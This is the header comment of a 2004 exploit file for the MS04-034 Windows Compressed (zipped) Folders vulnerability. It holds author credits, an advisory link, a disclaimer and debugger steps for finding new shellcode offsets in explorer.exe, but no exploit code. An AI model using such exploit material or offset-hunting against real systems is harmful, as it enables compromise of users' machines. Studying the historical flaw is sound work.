Microsoft Windows - Compressed Zipped Folders (MS04-034)

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
*
* Tested under Windows XP SP0 Spanish/English
*
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
* Exploit Date: 21/10/2004
*
* Tarako - Haxorcitos.com 2004
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* How to get new offsets:
* 1) attach debugger (i.e ollydbg) to explorer.exe
* 2) open the zip file as a folder and add or move some files to it
* 3) search in the explorer.exe memory the shellcode and get the addresses
